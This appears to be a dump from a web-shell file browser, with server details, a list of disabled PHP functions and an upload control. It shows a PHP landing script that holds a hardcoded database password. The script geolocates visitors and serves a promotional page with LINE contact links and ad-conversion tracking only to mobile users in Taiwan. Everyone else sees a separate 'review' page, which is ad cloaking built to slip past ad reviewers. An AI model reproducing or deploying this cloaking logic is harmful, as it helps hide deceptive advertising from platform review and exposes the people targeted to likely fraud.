HEX
Server: nginx/1.28.1
System: Linux 10-41-63-61 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User: www (1001)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: //www/wwwroot/www.whfie.com/tt/1index.php
<?php

$host="127.0.0.1";
$db_user="ip";
$db_pass="bStnfanxJYGhYZrG";
$db_name="ip";
 
$conn = new mysqli($host, $db_user, $db_pass,$db_name);
$mysqli =mysqli_connect($host,$db_user,$db_pass,$db_name);

// Check connection
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
} 
 

// $ip='36.228.28.188';
 $ip = $_SERVER['REMOTE_ADDR'];
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3];
if($r < 0) $r += 4294967296;
 
 
   $sql = "SELECT * FROM ipip where guojiadaima='TW' and IP_begin<".$r."  and IP_end>".$r."  ;";
    //查询发货状态和没有删除的 还有没有查询过的  qq=1 就是查询过的
   $guojiadaima='';
     $query=$mysqli->query($sql); 
 while($row = $query->fetch_assoc())
{
    $guojiadaima=$row['guojiadaima'];//货币代码订单币种
     
}

 if($guojiadaima=='TW'){
       function is_mobile()
	{
	$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
	$is_pc = (strpos($agent, 'windows nt')) ? true : false;
	$is_mac = (strpos($agent, 'mac os')) ? true : false;
	$is_iphone = (strpos($agent, 'iphone')) ? true : false;
	$is_android = (strpos($agent, 'android')) ? true : false;
	$is_ipad = (strpos($agent, 'ipad')) ? true : false;
	
	if($is_pc){
	      return false;
	}
	
	if($is_mac){
	      return true;
	}
	
	if($is_iphone){
	      return true;
	}
	
	if($is_android){
	      return true;
	}
	
	if($is_ipad){
	      return true;
	}
	}
	 /* 判断电脑移动端的封装*/
	if(!is_mobile())//如果是电脑端显示
	{ 
   $f_info=implode("",file("https://www.whfie.com/tt/sh/"));  //审核页链接 
echo $f_info;  
 
	}
	else {
	    $info = file_get_contents("https://www.whfie.com/tt/info.txt");
$info = rtrim($info,"@");
if(strlen($info)>10){
$column = explode("@@@",$info);
 }
 
 foreach($column as $keys=>$values){
 $zongshu=$keys;
 }
  
 
 $i= rand(0, $zongshu);
 
 
 $suijishuzhu = $column[$i];
 
  
 $shushu=explode("%%",$suijishuzhu);
  

echo'

	<script  >
 var arr_wx =["'.$shushu[3].'"]; //创建line号
	 		var kfhlja =["'.$shushu[4].'"]; //创建line号的链接
	    var wx_index = Math.floor((Math.random() * arr_wx.length)); 
	    var stxlwx = arr_wx[wx_index];
	 		var kfhljas = kfhlja[wx_index];
	 		 ';
  echo "
	 function showline() {
	   window.open(kfhljas);
  function gtag_report_conversion(url) {
  var callback = function () {
    if (typeof(url) != 'undefined') {
      window.location = url;
    }
  };
  gtag('event', 'conversion', {
      'send_to': 'AW-340260786/2iHaCO-b6NQCELLvn6IB',
      'event_callback': callback
  });
  return false;
}
	    fbq('track', 'Contact');
	  }
	   function showlinebtj() {
	 
  window.open(kfhljas);
	    
	  }
	 		 </script>
";

	    $f_info=implode("",file("https://www.whfie.com/cc/"));   //推广
echo $f_info;   
	     
	}
    }
    else {
         $f_info=implode("",file("https://www.whfie.com/tt/sh/"));   //审核
echo $f_info;   
    }